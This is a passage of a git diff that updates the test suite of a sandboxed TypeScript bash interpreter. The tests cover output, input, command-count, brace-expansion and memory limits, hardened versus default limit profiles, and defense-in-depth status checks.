+  it("uses the live-byte ceiling as the gzip codec ceiling", async () => {
+    const bash = new Bash({
+      files: { "/input": "a".repeat(128) },
+      executionLimits: { maxLiveBytes: 64, maxInputBytes: 1_000 },
+    });
+    const result = await bash.exec("gzip -c /input");
+    expect(result).toMatchObject({ exitCode: 126 });
+    expect(result.stderr).toMatch(/live byte limit exceeded/);
+  });
+});
+
+const temporaryRoots: string[] = [];
+
+afterEach(() => {
+  for (const root of temporaryRoots.splice(0)) {
+    fs.rmSync(root, { recursive: true, force: true });
+  }
+});
+
+describe("OverlayFs append storage", () => {
+  it("preserves repeated appends without re-copying on each append", async () => {
+    const root = fs.mkdtempSync(path.join(os.tmpdir(), "overlay-append-"));
+    temporaryRoots.push(root);
+    const overlay = new OverlayFs({ root, mountPoint: "/" });
+    await overlay.writeFile("/log", "a");
+    for (let index = 0; index < 100; index++) {
+      await overlay.appendFile("/log", "b");
+    }
+    expect(await overlay.readFile("/log")).toBe(`a${"b".repeat(100)}`);
+    expect((await overlay.stat("/log")).size).toBe(101);
+  });
+});
diff --git a/packages/just-bash/src/security/index.ts b/packages/just-bash/src/security/index.ts
index ce2636b4..fee10bfe 100644
--- a/packages/just-bash/src/security/index.ts
+++ b/packages/just-bash/src/security/index.ts
@@ -12,9 +12,9 @@
  * ```typescript
  * import { Bash } from 'just-bash';
  *
- * // Enable defense-in-depth (recommended for production)
+ * // Capability-detect defense-in-depth (the Bash default)
  * const bash = new Bash({
- *   defenseInDepth: true,
+ *   defenseInDepth: { enabled: "auto" },
  * });
  *
  * // Or with custom configuration
@@ -45,6 +45,7 @@ export type {
   DefenseInDepthConfig,
   DefenseInDepthHandle,
   DefenseInDepthStats,
+  DefenseInDepthStatus,
   SecurityViolation,
   SecurityViolationType,
 } from "./types.js";
diff --git a/packages/just-bash/src/security/limits/aggregate-output.test.ts b/packages/just-bash/src/security/limits/aggregate-output.test.ts
new file mode 100644
index 00000000..1daef51f
--- /dev/null
+++ b/packages/just-bash/src/security/limits/aggregate-output.test.ts
@@ -0,0 +1,70 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+
+describe("aggregate execution output accounting", () => {
+  const succeedsAtSixBytes = [
+    "printf 123456",
+    "f() { printf 123456; }; f",
+    "bash -c 'printf 123456'",
+    "(printf 123456)",
+    "{ printf 123456; }",
+    "printf 123456 | cat",
+  ];
+
+  for (const script of succeedsAtSixBytes) {
+    it(`does not refresh or double-charge through ${script}`, async () => {
+      const bash = new Bash({ executionLimits: { maxOutputSize: 6 } });
+      const result = await bash.exec(script);
+      expect(result).toMatchObject({
+        stdout: "123456",
+        stderr: "",
+        exitCode: 0,
+      });
+    });
+
+    it(`enforces one shared byte below ${script}`, async () => {
+      const bash = new Bash({ executionLimits: { maxOutputSize: 5 } });
+      const result = await bash.exec(script);
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toMatch(/size (?:limit )?exceeded/);
+    });
+  }
+
+  it("charges output discarded by a redirect", async () => {
+    const bash = new Bash({ executionLimits: { maxOutputSize: 5 } });
+    const result = await bash.exec("printf 123456 > /dev/null");
+    expect(result.exitCode).toBe(126);
+  });
+
+  it("shares accounting through xargs child executions", async () => {
+    const bash = new Bash({ executionLimits: { maxOutputSize: 6 } });
+    const result = await bash.exec("printf x | xargs printf 123456");
+    expect(result).toMatchObject({ stdout: "123456", exitCode: 0 });
+  });
+
+  it("shares accounting through find -exec", async () => {
+    const bash = new Bash({ executionLimits: { maxOutputSize: 6 } });
+    const result = await bash.exec(
+      "find / -maxdepth 0 -exec printf 123456 ';'",
+    );
+    expect(result).toMatchObject({ stdout: "123456", exitCode: 0 });
+  });
+
+  it("retains already-produced output when a later statement exceeds the limit", async () => {
+    const bash = new Bash({ executionLimits: { maxOutputSize: 5 } });
+    const result = await bash.exec("printf 123; printf 456");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stdout).toBe("123");
+    expect(result.stderr).toMatch(/size (?:limit )?exceeded/);
+  });
+
+  it("retains partial compound output without charging it twice", async () => {
+    const bash = new Bash({ executionLimits: { maxOutputSize: 5 } });
+    const result = await bash.exec("{ printf 12; printf 34; printf 56; }");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stdout).toBe("1234");
+    expect(result.stderr).toMatch(/size (?:limit )?exceeded/);
+  });
+});
diff --git a/packages/just-bash/src/security/limits/compatibility-defaults.test.ts b/packages/just-bash/src/security/limits/compatibility-defaults.test.ts
new file mode 100644
index 00000000..cc5499d9
--- /dev/null
+++ b/packages/just-bash/src/security/limits/compatibility-defaults.test.ts
@@ -0,0 +1,163 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+import { defineCommand } from "../../custom-commands.js";
+import { resolveLimits } from "../../limits.js";
+
+describe("compatibility-safe execution limit configuration", () => {
+  it("uses liberal normal defaults and keeps the former ceilings opt-in", () => {
+    const normal = resolveLimits();
+    const hardened = resolveLimits(undefined, "hardened");
+
+    expect(normal.maxCommandCount).toBe(100_000);
+    expect(normal.maxStringLength).toBe(64 * 1024 * 1024);
+    expect(normal.maxSourceBytes).toBe(64 * 1024 * 1024);
+    expect(normal.maxFileSystemBytes).toBe(1024 * 1024 * 1024);
+    expect(normal.maxOutputSize).toBe(256 * 1024 * 1024);
+    expect(normal.maxArchiveCompressedBytes).toBe(512 * 1024 * 1024);
+    expect(normal.maxExecutionTimeMs).toBe(60 * 60 * 1000);
+    expect(hardened.maxCommandCount).toBe(10_000);
+    expect(hardened.maxStringLength).toBe(10 * 1024 * 1024);
+    expect(hardened.maxSourceBytes).toBe(8 * 1024 * 1024);
+    expect(hardened.maxFileSystemBytes).toBe(128 * 1024 * 1024);
+    expect(hardened.maxOutputSize).toBe(10 * 1024 * 1024);
+    expect(hardened.maxArchiveCompressedBytes).toBe(64 * 1024 * 1024);
+    expect(hardened.maxExecutionTimeMs).toBe(30_000);
+  });
+
+  it("exposes the hardened profile through Bash options", async () => {
+    const bash = new Bash({ executionLimitProfile: "hardened" });
+    const result = await bash.exec("echo ok");
+
+    expect(result).toMatchObject({ stdout: "ok\n", stderr: "", exitCode: 0 });
+  });
+
+  it("keeps resource-specific limits independent from legacy shell limits", () => {
+    const defaults = resolveLimits();
+    const limits = resolveLimits({
+      maxCallDepth: 17,
+      maxJqIterations: 23,
+      maxArrayElements: 31,
+      maxLoopIterations: 37,
+    });
+
+    expect(limits.maxQueryDepth).toBe(1_000);
+    expect(limits.maxQueryTokens).toBe(100_000);
+    expect(limits.maxQueryElements).toBe(defaults.maxQueryElements);
+    expect(limits.maxCsvRows).toBe(defaults.maxCsvRows);
+    expect(limits.maxTraversalEntries).toBe(defaults.maxTraversalEntries);
+    expect(limits.maxTraversalWork).toBe(defaults.maxTraversalWork);
+  });
+
+  it("rejects unknown execution limit profiles", () => {
+    expect(() => resolveLimits(undefined, "strict" as never)).toThrow(
+      RangeError,
+    );
+    expect(
+      () => new Bash({ executionLimitProfile: "strict" as never }),
+    ).toThrow(RangeError);
+  });
+
+  it("allows trusted hosts to configure byte budgets above 256 MiB", () => {
+    const configured = 512 * 1024 * 1024;
+    const limits = resolveLimits({
+      maxStringLength: configured,
+      maxSourceBytes: configured,
+      maxFileSystemBytes: configured,
+      maxHeredocSize: configured,
+      maxOutputSize: configured,
+    });
+
+    expect(limits.maxStringLength).toBe(configured);
+    expect(limits.maxSourceBytes).toBe(configured);
+    expect(limits.maxFileSystemBytes).toBe(configured);
+    expect(limits.maxHeredocSize).toBe(configured);
+    expect(limits.maxOutputSize).toBe(configured);
+  });
+
+  it("preserves large and infinite legacy overrides without unsafe arithmetic", () => {
+    const configured = 5 * 1024 * 1024 * 1024;
+    expect(resolveLimits({ maxStringLength: configured }).maxStringLength).toBe(
+      configured,
+    );
+    expect(
+      resolveLimits({ maxStringLength: Number.POSITIVE_INFINITY })
+        .maxStringLength,
+    ).toBe(Number.POSITIVE_INFINITY);
+    for (const invalid of [Number.NaN, -1, 1.5, Number.MAX_SAFE_INTEGER + 1]) {
+      expect(() => resolveLimits({ maxStringLength: invalid })).toThrow(
+        RangeError,
+      );
+    }
+  });
+
+  it("does not arm overflowing timers for infinite execution deadlines", async () => {
+    const bash = new Bash({
+      executionLimits: {
+        maxExecutionTimeMs: Number.POSITIVE_INFINITY,
+        maxExtensionCleanupTimeMs: Number.POSITIVE_INFINITY,
+      },
+      customCommands: [
+        defineCommand("infinite-wait", async () => {
+          await new Promise((resolve) => setTimeout(resolve, 10));
+          return { stdout: "completed\n", stderr: "", exitCode: 0 };
+        }),
+      ],
+    });
+
+    expect(await bash.exec("infinite-wait")).toMatchObject({
+      stdout: "completed\n",
+      stderr: "",
+      exitCode: 0,
+    });
+  });
+
+  it("runs a bounded 10k+ operation workload under the normal profile", async () => {
+    const bash = new Bash();
+    const result = await bash.exec(
+      'for ((i=0; i<10001; i++)); do :; done; printf "%s" "$i"',
+    );
+
+    expect(result).toMatchObject({ stdout: "10001", stderr: "", exitCode: 0 });
+  });
+
+  it("supports representative nested scripts and pipelines", async () => {
+    const bash = new Bash();
+    const result = await bash.exec(`
+      descend() {
+        if [ "$1" -gt 0 ]; then descend $(($1 - 1)); else printf nested; fi
+      }
+      descend 75 | awk '{ print toupper($0) }' | grep NESTED
+    `);
+
+    expect(result).toMatchObject({
+      stdout: "NESTED\n",
+      stderr: "",
+      exitCode: 0,
+    });
+  });
+
+  it("accepts query depth and CSV volume beyond hardened defaults", async () => {
+    let nested: unknown = 0;
+    const queryParts: string[] = [];
+    for (let index = 0; index < 300; index++) {
+      nested = { a: nested };
+      queryParts.push(".a");
+    }
+    const csv = `value\n${Array.from({ length: 10_001 }, (_, i) => i).join("\n")}\n`;
+    const bash = new Bash({
+      files: {
+        "/deep.json": JSON.stringify(nested),
+        "/rows.csv": csv,
+      },
+    });
+
+    const result = await bash.exec(
+      `jq '${queryParts.join("")}' /deep.json; xan count /rows.csv`,
+    );
+    expect(result).toMatchObject({
+      stdout: "0\n10001\n",
+      stderr: "",
+      exitCode: 0,
+    });
+  });
+});
diff --git a/packages/just-bash/src/security/limits/dos-limits.test.ts b/packages/just-bash/src/security/limits/dos-limits.test.ts
index 393c06e9..ab3d74bb 100644
--- a/packages/just-bash/src/security/limits/dos-limits.test.ts
+++ b/packages/just-bash/src/security/limits/dos-limits.test.ts
@@ -416,10 +416,10 @@ describe("DoS Prevention - Execution Limits", () => {
   });
 
   describe("Default Limits", () => {
-    it("should have reasonable defaults that prevent runaway scripts", async () => {
-      // Default limits should prevent infinite loops
-      // Both loop iteration (10000) and command count (10000) limits apply
-      const defaultBash = new Bash();
+    it("should have reasonable hardened defaults that prevent runaway scripts", async () => {
+      // The hardened profile bounds untrusted loops more tightly than the
+      // compatibility-oriented normal profile.
+      const defaultBash = new Bash({ executionLimitProfile: "hardened" });
 
       const result = await defaultBash.exec(`
         i=0
diff --git a/packages/just-bash/src/security/limits/execution-scope.test.ts b/packages/just-bash/src/security/limits/execution-scope.test.ts
new file mode 100644
index 00000000..48f22e16
--- /dev/null
+++ b/packages/just-bash/src/security/limits/execution-scope.test.ts
@@ -0,0 +1,214 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../../Bash.js";
+import { defineCommand } from "../../custom-commands.js";
+import { ExecutionOutputAccumulator } from "../../execution-output.js";
+import { ExecutionScope } from "../../execution-scope.js";
+import {
+  ExecutionAbortedError,
+  ExecutionLimitError,
+} from "../../interpreter/errors.js";
+import { resolveLimits } from "../../limits.js";
+
+describe("shared nested execution scope", () => {
+  it("accounts byte-shaped stdout without UTF-8 re-encoding", () => {
+    const scope = new ExecutionScope(resolveLimits({ maxOutputSize: 2 }));
+    const result = scope.accountResult({
+      stdout: "\xff\xfe",
+      stderr: "",
+      exitCode: 0,
+      stdoutKind: "bytes",
+    });
+
+    expect(result.internalOutputAccounting).toEqual({ stdout: 2, stderr: 0 });
+    expect(scope.outputBytesUsed).toBe(2);
+    expect(() =>
+      scope.appendOutput("stdout", "x", "binary accounting regression"),
+    ).toThrow(/total output size exceeded/);
+  });
+
+  it("preserves byte-shaped accounting through output accumulators", () => {
+    const scope = new ExecutionScope(resolveLimits({ maxOutputSize: 2 }));
+    const output = new ExecutionOutputAccumulator(scope, "binary accumulator");
+
+    output.appendResult({
+      stdout: "\xff\xfe",
+      stderr: "",
+      exitCode: 0,
+      stdoutKind: "bytes",
+    });
+
+    expect(output.build(0).internalOutputAccounting).toEqual({
+      stdout: 2,
+      stderr: 0,
+    });
+    expect(scope.outputBytesUsed).toBe(2);
+  });
+
+  it("poisons the whole scope after aggregate work exhaustion", () => {
+    const scope = new ExecutionScope(resolveLimits({ maxWorkUnits: 2 }));
+
+    expect(scope.consumeWork(2, "test")).toBe(2);
+    expect(() => scope.consumeWork(1, "test")).toThrow(ExecutionLimitError);
+    expect(() => scope.chargeCommand()).toThrow(ExecutionLimitError);
+  });
+
+  it("shares work across named accounting categories", () => {
+    const scope = new ExecutionScope(resolveLimits({ maxWorkUnits: 3 }));
+
+    expect(scope.consume("filesystem", 2, "walk")).toBe(2);
+    expect(scope.consume("network", 1, "request")).toBe(3);
+    expect(() => scope.consume("queue", 1, "worker")).toThrow(
+      ExecutionLimitError,
+    );
+  });
+
+  it("reserves and releases live bytes without double release", () => {
+    const scope = new ExecutionScope(resolveLimits({ maxLiveBytes: 5 }));
+    const lease = scope.reserveBytes(5, "test");
+
+    expect(() => scope.reserveBytes(1, "test")).toThrow(ExecutionLimitError);
+    // Exhaustion intentionally poisons a scope, so use a fresh scope to verify release.
+    const releasable = new ExecutionScope(resolveLimits({ maxLiveBytes: 5 }));
+    const releasedLease = releasable.reserveBytes(5, "test");
+    releasedLease.release();
+    releasedLease.release();
+    expect(() => releasable.reserveBytes(5, "test")).not.toThrow();
+    lease.release();
+  });
+
+  it("runs registered cleanup once in reverse ownership order", async () => {
+    const scope = new ExecutionScope(resolveLimits());
+    const calls: string[] = [];
+    scope.registerCleanup(() => {
+      calls.push("first");
+    });
+    scope.registerCleanup(async () => {
+      calls.push("second");
+    });
+
+    await scope.close();
+    await scope.close();
+
+    expect(calls).toEqual(["second", "first"]);
+  });
+
+  it("bounds a cleanup callback that never acknowledges cancellation", async () => {
+    const scope = new ExecutionScope(
+      resolveLimits({ maxExtensionCleanupTimeMs: 5 }),
+    );
+    scope.registerCleanup(() => new Promise(() => {}));
+    const started = Date.now();
+
+    await expect(scope.close()).rejects.toThrow("execution cleanup failed");
+    expect(Date.now() - started).toBeLessThan(250);
+  });
+
+  it("observes the top-level abort signal", () => {
+    const controller = new AbortController();
+    const scope = new ExecutionScope(resolveLimits(), controller.signal);
+    controller.abort();
+
+    expect(() => scope.throwIfAborted("test")).toThrow(ExecutionAbortedError);
+  });
+
+  it("shares maxCommandCount with bash -c descendants", async () => {
+    const bash = new Bash({ executionLimits: { maxCommandCount: 2 } });
+
+    const result = await bash.exec("bash -c 'echo one; echo two'");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("too many commands executed");
+  });
+
+  it.each([
+    ["bash", "bash -c 'echo child'", undefined],
+    ["env", "env echo child", undefined],
+    ["time", "/usr/bin/time echo child", undefined],
+    ["timeout", "timeout 60 echo child", undefined],
+    ["xargs", "xargs echo", "child\n"],
+  ])("does not refresh the command budget through %s", async (_name, script, stdin) => {
+    const bash = new Bash({ executionLimits: { maxCommandCount: 1 } });
+
+    const result = await bash.exec(script, { stdin });
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("too many commands executed");
+  });
+
+  it("does not charge an empty child script as a command", async () => {
+    const bash = new Bash({ executionLimits: { maxCommandCount: 1 } });
+
+    const result = await bash.exec("bash -c ''");
+
+    expect(result.exitCode).toBe(0);
+    expect(result.stderr).toBe("");
+  });
+
+  it("starts a fresh command budget for the next public exec", async () => {
+    const bash = new Bash({ executionLimits: { maxCommandCount: 2 } });
+    const exhausted = await bash.exec("bash -c 'echo one; echo two'");
+    expect(exhausted.exitCode).toBe(126);
+
+    const next = await bash.exec("echo fresh");
+    expect(next).toMatchObject({
+      stdout: "fresh\n",
+      stderr: "",
+      exitCode: 0,
+    });
+  });
+
+  it("stops direct ctx.exec recursion before parsing another interpreter", async () => {
+    const recurse = defineCommand("recurse", async (_args, ctx) => {
+      if (!ctx.exec) throw new Error("exec unavailable");
+      return ctx.exec("recurse", { cwd: ctx.cwd, signal: ctx.signal });
+    });
+    const bash = new Bash({
+      customCommands: [recurse],
+      executionLimits: { maxCommandCount: 100, maxExecDepth: 3 },
+    });
+
+    const result = await bash.exec("recurse");
+
+    expect(result.exitCode).toBe(126);
+    expect(result.stderr).toContain("maximum nested execution depth (3)");
+  });
+
+  it("does not let timeout detach a host abort signal", async () => {
+    let childWasAborted = false;
+    let markStarted: () => void = () => {};
+    const started = new Promise<void>((resolve) => {
+      markStarted = resolve;
+    });
+    const waitForAbort = defineCommand("wait-for-abort", async (_args, ctx) => {
+      markStarted();
+      await new Promise<void>((resolve) => {
+        if (ctx.signal?.aborted) {
+          childWasAborted = true;
+          resolve();
+          return;
+        }
+        ctx.signal?.addEventListener(
+          "abort",
+          () => {
+            childWasAborted = true;
+            resolve();
+          },
+          { once: true },
+        );
+      });
+      return { stdout: "", stderr: "", exitCode: 0 };
+    });
+    const bash = new Bash({ customCommands: [waitForAbort] });
+    const controller = new AbortController();
+    const execution = bash.exec("timeout 60 wait-for-abort", {
+      signal: controller.signal,
+    });
+
+    await started;
+    controller.abort(new Error("host canceled"));
+    const result = await execution;
+
+    expect(childWasAborted).toBe(true);
+    expect(result.exitCode).toBe(124);
+  });
+});
diff --git a/packages/just-bash/src/security/limits/memory-exhaustion.test.ts b/packages/just-bash/src/security/limits/memory-exhaustion.test.ts
index c2274783..96acf6cf 100644
--- a/packages/just-bash/src/security/limits/memory-exhaustion.test.ts
+++ b/packages/just-bash/src/security/limits/memory-exhaustion.test.ts
@@ -45,7 +45,7 @@ describe("Memory Exhaustion Prevention", () => {
         echo "done"
       `);
       expect(result.exitCode).toBe(126);
-      expect(result.stderr).toContain("string length limit exceeded");
+      expect(result.stderr).toContain("string limit exceeded");
     });
 
     it("should allow strings within limit", async () => {
@@ -124,7 +124,7 @@ LINES
           echo "count: \${#arr[@]}"
         }
       `);
-      expect(result.exitCode).toBe(1);
+      expect(result.exitCode).toBe(126);
       expect(result.stderr).toContain("array element limit exceeded");
     });
 
diff --git a/packages/just-bash/src/security/limits/security-hardening.test.ts b/packages/just-bash/src/security/limits/security-hardening.test.ts
index f38760f6..de3ce47b 100644
--- a/packages/just-bash/src/security/limits/security-hardening.test.ts
+++ b/packages/just-bash/src/security/limits/security-hardening.test.ts
@@ -14,7 +14,7 @@
  */
 
 import { beforeEach, describe, expect, it } from "vitest";
-import { Bash } from "../../index.js";
+import { Bash, defineCommand } from "../../index.js";
 import { buildIfsCharClassPattern } from "../../interpreter/helpers/ifs.js";
 import { resolveLimits } from "../../limits.js";
 import { parseArithNumber } from "../../parser/arithmetic-primaries.js";
@@ -119,14 +119,25 @@ describe("Security Hardening", () => {
   // 2. Configurable brace expansion limits
   // =====================================================================
   describe("2. Configurable brace expansion limits", () => {
+    it.each([
+      Number.NaN,
+      -1,
+      1.5,
+      Number.MAX_SAFE_INTEGER + 1,
+    ])("rejects unsafe limit value %s at configuration time", (value) => {
+      expect(() => resolveLimits({ maxStringLength: value })).toThrow(
+        RangeError,
+      );
+    });
+
     it("should add maxBraceExpansionResults to ExecutionLimits", () => {
       const limits = resolveLimits({ maxBraceExpansionResults: 500 });
       expect(limits.maxBraceExpansionResults).toBe(500);
     });
 
-    it("should default maxBraceExpansionResults to 10000", () => {
+    it("should use the compatibility-oriented brace expansion default", () => {
       const limits = resolveLimits();
-      expect(limits.maxBraceExpansionResults).toBe(10000);
+      expect(limits.maxBraceExpansionResults).toBe(100000);
     });
 
     it("should respect custom maxBraceExpansionResults", async () => {
@@ -134,9 +145,9 @@ describe("Security Hardening", () => {
         executionLimits: { maxBraceExpansionResults: 100 },
       });
       const result = await limitedBash.exec("arr=({1..200}); echo ${#arr[@]}");
-      expect(result.exitCode).toBe(0);
-      const count = Number.parseInt(result.stdout.trim(), 10);
-      expect(count).toBeLessThanOrEqual(100);
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("brace expansion");
+      expect(result.stderr).toContain("limit exceeded");
     });
 
     it("should allow brace expansion within custom limit", async () => {
@@ -154,7 +165,7 @@ describe("Security Hardening", () => {
       expect(result.stdout).toBe("676\n");
     });
 
-    it("should truncate nested brace expansion", async () => {
+    it("should fail closed instead of truncating nested brace expansion", async () => {
       const limitedBash = new Bash({
         executionLimits: { maxBraceExpansionResults: 20 },
       });
@@ -162,9 +173,8 @@ describe("Security Hardening", () => {
       const result = await limitedBash.exec(
         "arr=({1..5}{1..5}); echo ${#arr[@]}",
       );
-      expect(result.exitCode).toBe(0);
-      const count = Number.parseInt(result.stdout.trim(), 10);
-      expect(count).toBeLessThanOrEqual(20);
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("brace expansion result limit exceeded");
     });
 
     it("should allow comma brace expansion within limits", async () => {
@@ -240,9 +250,8 @@ describe("Security Hardening", () => {
     it("should still detect cycles via visited set", async () => {
       // a → b → c → a (cycle)
       const result = await bash.exec("a=b; b=c; c=a; echo $((a))");
-      expect(result.exitCode).toBe(0);
-      // Cycle detection returns 0
-      expect(result.stdout).toBe("0\n");
+      expect(result.exitCode).toBe(1);
+      expect(result.stderr).toContain("arithmetic variable cycle detected");
     });
 
     it("should handle direct numeric values without indirection", async () => {
@@ -274,9 +283,9 @@ describe("Security Hardening", () => {
       expect(result.stdout).toBe("hello\n");
     });
 
-    it("should default maxHeredocSize to 10MB", () => {
+    it("should use the compatibility-oriented heredoc default", () => {
       const limits = resolveLimits();
-      expect(limits.maxHeredocSize).toBe(10485760);
+      expect(limits.maxHeredocSize).toBe(64 * 1024 * 1024);
     });
 
     it("should pass maxHeredocSize through to Lexer", () => {
@@ -373,6 +382,14 @@ describe("Security Hardening", () => {
         expect(parseArithNumber("2#11111111")).toBe(255);
       });
 
+      it("rejects an invalid digit anywhere in a base-N operand", () => {
+        expect(parseArithNumber("2#10x")).toBeNaN();
+        expect(parseArithNumber("8#128")).toBeNaN();
+        expect(parseArithNumber("16#ffg")).toBeNaN();
+        expect(parseArithNumber("2#")).toBeNaN();
+        expect(parseArithNumber("2#10#1")).toBeNaN();
+      });
+
       it("should return NaN for invalid base", () => {
         expect(parseArithNumber("1#0")).toBeNaN();
         expect(parseArithNumber("65#0")).toBeNaN();
@@ -547,11 +564,10 @@ describe("Security Hardening", () => {
   // 9. Defense-in-depth warning and isEnabled()
   // =====================================================================
   describe("9. Defense-in-depth isEnabled()", () => {
-    it("should report enabled when config is enabled", () => {
+    it("should report the resolved runtime capability", () => {
       DefenseInDepthBox.resetInstance();
       const box = DefenseInDepthBox.getInstance({ enabled: true });
-      // In Node.js test environment, AsyncLocalStorage should be available
-      expect(box.isEnabled()).toBe(true);
+      expect(box.isEnabled()).toBe(box.getStatus().state === "enabled");
       DefenseInDepthBox.resetInstance();
     });
 
@@ -562,11 +578,10 @@ describe("Security Hardening", () => {
       DefenseInDepthBox.resetInstance();
     });
 
-    it("should report disabled when not configured", () => {
+    it("should capability-detect when not configured", () => {
       DefenseInDepthBox.resetInstance();
       const box = DefenseInDepthBox.getInstance();
-      // Default config has enabled: false
-      expect(box.isEnabled()).toBe(false);
+      expect(box.isEnabled()).toBe(box.getStatus().state === "enabled");
       DefenseInDepthBox.resetInstance();
     });
   });
@@ -578,11 +593,11 @@ describe("Security Hardening", () => {
     it("should resolve all default limits", () => {
       const limits = resolveLimits();
       expect(limits.maxCallDepth).toBe(100);
-      expect(limits.maxCommandCount).toBe(10000);
-      expect(limits.maxLoopIterations).toBe(10000);
-      expect(limits.maxStringLength).toBe(10485760);
-      expect(limits.maxHeredocSize).toBe(10485760);
-      expect(limits.maxBraceExpansionResults).toBe(10000);
+      expect(limits.maxCommandCount).toBe(100000);
+      expect(limits.maxLoopIterations).toBe(100000);
+      expect(limits.maxStringLength).toBe(64 * 1024 * 1024);
+      expect(limits.maxHeredocSize).toBe(64 * 1024 * 1024);
+      expect(limits.maxBraceExpansionResults).toBe(100000);
       expect(limits.maxSubstitutionDepth).toBe(50);
     });
 
@@ -595,7 +610,7 @@ describe("Security Hardening", () => {
       expect(limits.maxHeredocSize).toBe(1000);
       // Other limits should be defaults
       expect(limits.maxCallDepth).toBe(100);
-      expect(limits.maxCommandCount).toBe(10000);
+      expect(limits.maxCommandCount).toBe(100000);
     });
   });
 
@@ -603,6 +618,95 @@ describe("Security Hardening", () => {
   // Combined attack vectors
   // =====================================================================
   describe("Combined attack vectors", () => {
+    it("rejects oversized text stdin before UTF-8 encoding", async () => {
+      const limitedBash = new Bash({
+        executionLimits: { maxStringLength: 8 },
+      });
+      const result = await limitedBash.exec("cat", { stdin: "ééééé" });
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("stdin size limit exceeded");
+    });
+
+    it("rejects oversized byte-shaped stdin before copying", async () => {
+      const limitedBash = new Bash({
+        executionLimits: { maxStringLength: 4 },
+      });
+      const result = await limitedBash.exec("cat", {
+        stdin: "12345",
+        stdinKind: "bytes",
+      });
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("stdin size limit exceeded");
+    });
+
+    it("enforces the dedicated aggregate input budget for text stdin", async () => {
+      const limitedBash = new Bash({
+        executionLimits: { maxInputBytes: 4, maxStringLength: 100 },
+      });
+      const result = await limitedBash.exec("cat", { stdin: "ééé" });
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("stdin size limit exceeded (4 bytes)");
+    });
+
+    it("enforces the dedicated aggregate input budget for byte stdin", async () => {
+      const limitedBash = new Bash({
+        executionLimits: { maxInputBytes: 4, maxStringLength: 100 },
+      });
+      const result = await limitedBash.exec("cat", {
+        stdin: "12345",
+        stdinKind: "bytes",
+      });
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("stdin size limit exceeded (4 bytes)");
+    });
+
+    it("retains the per-string stdin bound independently of input budget", async () => {
+      const limitedBash = new Bash({
+        executionLimits: { maxInputBytes: 100, maxStringLength: 4 },
+      });
+      const result = await limitedBash.exec("cat", { stdin: "12345" });
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("stdin size limit exceeded (4 bytes)");
+    });
+
+    it("shares aggregate input accounting across nested executions", async () => {
+      const feedTwice = defineCommand("feed-twice", async (_args, ctx) => {
+        if (!ctx.exec) throw new Error("exec unavailable");
+        await ctx.exec("cat >/dev/null", {
+          cwd: ctx.cwd,
+          stdin: "12345",
+          stdinKind: "bytes",
+        });
+        return ctx.exec("cat >/dev/null", {
+          cwd: ctx.cwd,
+          stdin: "67890",
+          stdinKind: "bytes",
+        });
+      });
+      const limitedBash = new Bash({
+        customCommands: [feedTwice],
+        executionLimits: { maxInputBytes: 8, maxStringLength: 100 },
+      });
+      const result = await limitedBash.exec("feed-twice");
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("aggregate input size limit exceeded");
+    });
+
+    it("does not charge exact inherited bash stdin twice", async () => {
+      const limitedBash = new Bash({
+        executionLimits: { maxInputBytes: 5, maxStringLength: 100 },
+      });
+      const result = await limitedBash.exec("bash -c cat", {
+        stdin: "12345",
+        stdinKind: "bytes",
+      });
+      expect(result).toMatchObject({
+        stdout: "12345",
+        stderr: "",
+        exitCode: 0,
+      });
+    });
+
     it("should handle pattern replacement + large strings", async () => {
       const limitedBash = new Bash({
         executionLimits: { maxStringLength: 500 },
@@ -617,9 +721,9 @@ describe("Security Hardening", () => {
         executionLimits: { maxBraceExpansionResults: 50 },
       });
       const result = await limitedBash.exec("arr=({1..100}); echo ${#arr[@]}");
-      expect(result.exitCode).toBe(0);
-      const count = Number.parseInt(result.stdout.trim(), 10);
-      expect(count).toBeLessThanOrEqual(50);
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("brace expansion");
+      expect(result.stderr).toContain("limit exceeded");
     });
 
     it("should handle multiple limits simultaneously", async () => {
diff --git a/packages/just-bash/src/security/sandbox/worker-protocol-runtime-desync.test.ts b/packages/just-bash/src/security/sandbox/worker-protocol-runtime-desync.test.ts
index d2578bf6..50c22b56 100644
--- a/packages/just-bash/src/security/sandbox/worker-protocol-runtime-desync.test.ts
+++ b/packages/just-bash/src/security/sandbox/worker-protocol-runtime-desync.test.ts
@@ -61,7 +61,7 @@ describe("worker protocol runtime desync probes", () => {
       );
       expect(timedResult.stdout).toBe("");
       expect(timedResult.stderr).toBe(
-        "sqlite3: Query timeout: execution exceeded 5ms limit\n",
+        "sqlite3: Query timeout: exceeded 5ms limit\n",
       );
       expect(timedResult.exitCode).toBe(1);
 
diff --git a/packages/just-bash/src/security/symbol-locking.test.ts b/packages/just-bash/src/security/symbol-locking.test.ts
index 4108149c..39d3eff4 100644
--- a/packages/just-bash/src/security/symbol-locking.test.ts
+++ b/packages/just-bash/src/security/symbol-locking.test.ts
@@ -1,122 +1,59 @@
+import * as nodeModule from "node:module";
 import { afterEach, describe, expect, it } from "vitest";
 import { DefenseInDepthBox } from "./defense-in-depth-box.js";
 import { WorkerDefenseInDepth } from "./worker-defense-in-depth.js";
 
-function expectLockedDataSymbol(
-  target: object,
-  symbolKey: symbol,
-  label: string,
-): void {
-  const desc = Object.getOwnPropertyDescriptor(target, symbolKey);
-  expect(desc, `${label} descriptor should exist`).toBeDefined();
-  expect(desc?.configurable, `${label} should be non-configurable`).toBe(false);
-  if (desc && "value" in desc) {
-    expect(desc.writable, `${label} should be non-writable`).toBe(false);
-  }
-}
-
 describe("well-known symbol locking", () => {
   afterEach(() => {
     DefenseInDepthBox.resetInstance();
   });
 
